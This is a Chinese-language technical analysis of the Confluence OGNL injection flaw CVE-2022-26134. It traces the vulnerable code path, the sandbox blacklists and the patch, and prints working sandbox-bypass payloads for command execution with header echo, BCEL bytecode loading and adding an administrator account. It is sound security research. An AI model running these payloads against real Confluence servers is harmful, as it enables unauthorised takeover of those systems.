CVE-2022-26134 Confluence OGNL RCE
Atlassian Confluence(简称Confluence)是一个专业的wiki程序。它是一个知识管理的工具,通过它可以实现团队成员之间的协作和知识共享
2022 年 6 月 2 日,Atlassian 发布了针对其 Confluence 服务器和数据中心应用程序的安全公告,强调了一个严重的未经身份验证的远程代码执行漏洞。OGNL 注入漏洞允许未经身份验证的用户在 Confluence 服务器或数据中心实例上执行任意代码
官网通告:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
影响版本:
1 | from 1.3.0 before 7.4.17 |
环境搭建
Confluence在windows下的安装可参考:Windows Confluence7.13.5安装
环境下载地址:https://www.atlassian.com/zh/software/confluence/download-archives,我这里下载的是Atlassian Confluence 7.15.1
发现默认安装的java版本为 jdk11.0.12
Confluence对应的JDK和tomcat版本可以参考官网信息:Bundled Tomcat and Java versions
修改setenv.bat文件添加JVM远程调试
然后运行start-confluence.bat即可
漏洞分析
在经过一系列Filter处理后由com.opensymphony.webwork.dispatcher.ServletDispatcher#service
做请求分发
主要看到getNameSpace方法,这个方法使 namespace 的值为 servletPath 最后一个/
之前的部分
随后调用子类com.atlassian.confluence.servlet.ConfluenceServletDispatcher
的serviceAction方法
先调用createActionProxy创建一个代理对象,然后调用代理对象的execute方法,可以看到我们的payload存放在namespace参数中
跟进到com.opensymphony.xwork.DefaultActionProxy#execute
这里继续调用com.opensymphony.xwork.DefaultActionInvocation#invoke
方法
发现在 invoke 方法中会迭代 interceptors,通过next获取下一个拦截器对象,然后调用其 intercept 方法,可以看到一共有28个拦截器
在某些拦截器中会返回resultCode为notpermitted,然后进入 executeResult 方法
首先调用 this.createResult() ,根据之前的 resultCode 获取对应的结果,可以看到notpermitted对应的 result 类为 ActionChainResult
执行this.result.execute(this)
,即走到com.opensymphony.xwork.ActionChainResult#execute
最终调用到com.opensymphony.xwork.util.TextParseUtil#translateVariables
成功触发 OGNL 表达式注入,因为tomcat的原因,特殊字符会违反RFC导致400,所以需要进行编码
沙箱分析
从v7.15开始,Confluence 在 OGNL 表达式解析时加入了沙箱限制,采取了黑名单、白名单等方式,可以看到在findValue中存在安全校验
跟进 isSafeExpression 方法,可以看到采用黑名单方式对调用的类进行检测
黑名单如下:
(1) unsafePropertyNames
1 | 0 = "sun.misc.Unsafe" |
(2) unsafePackageNames
1 | 0 = "java.rmi" |
(3) unsafeMethodNames
1 | 0 = "getClass" |
白名单 allowedClassNames 如下:
1 | 0 = "net.sf.hibernate.proxy.HibernateProxy" |
然后调用了 containsUnsafeExpression 方法对表达式进行检测,递归检查节点及其子节点是否包含黑名单
这里需要OGNL基础,可参考文章:一文读懂OGNL漏洞
漏洞复现(沙箱绕过)
这里只谈高版本的利用,直接使用Class.forName
反射拿到关键类即可
其实早在CVE-2021-26084就有过相关回显研究:CVE-2021-26084-Atlassian Confluence OGNL注入漏洞分析与回显
ScriptEngineManager
p神的回显exp:
1 | ${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,119,104,111,97,109,105,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))} |
其中的js代码为:
1 | var s='';var pp = java.lang.Runtime.getRuntime().exec('whoami').getInputStream();while (1) {var b = pp.read();if (b == -1) {break;}s=s+String.fromCharCode(b)};s |
成功在header处回显
ClassLoader
可以发现Confluence 自带了一个org.apache.bcel.util.ClassLoader
,位于 xalan-2.7.2.jar 包中
可以直接loadClass加载BCEL字节码,由于在黑名单内,字符串拼接绕过
1 | ${Class.forName("org.ap"+"ache.bcel.util.ClassLoader").newInstance().loadClass("$$BCEL$$"+code).newInstance()} |
中间件是Tomcat,使用Tomcat9的回显即可,代码如下:
1 | public class ConfluenceEcho { |
可以看到复现成功
添加管理员
虽然过滤了#request
、 #context
等变量,但是没有过滤 #this
我们可以通过#this
添加管理员
1 | ${#this.getUserAccessor().addUser('test','test123','test@qq.com','Test', .atlassian.confluence.util.GeneralUtil )} |
漏洞修复
官网的修复方案是使用xwork-1.0.3-atlassian-10.jar
代替/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar
diff一下,发现移除了com.opensymphony.xwork.util.TextParseUtil#translateVariables
的调用
参考:
【下篇】CVE-2022-26134 Confluence 多种通用型绕过沙箱姿势可实现命令回显
CVE-2022-26134 Confluence OGNL RCE 漏洞深入分析和高版本绕过沙箱实现命令回显
Confluence CVE-2022-26134 漏洞分析
CVE-2022-26134 Confluence Server Data Center OGNL RCE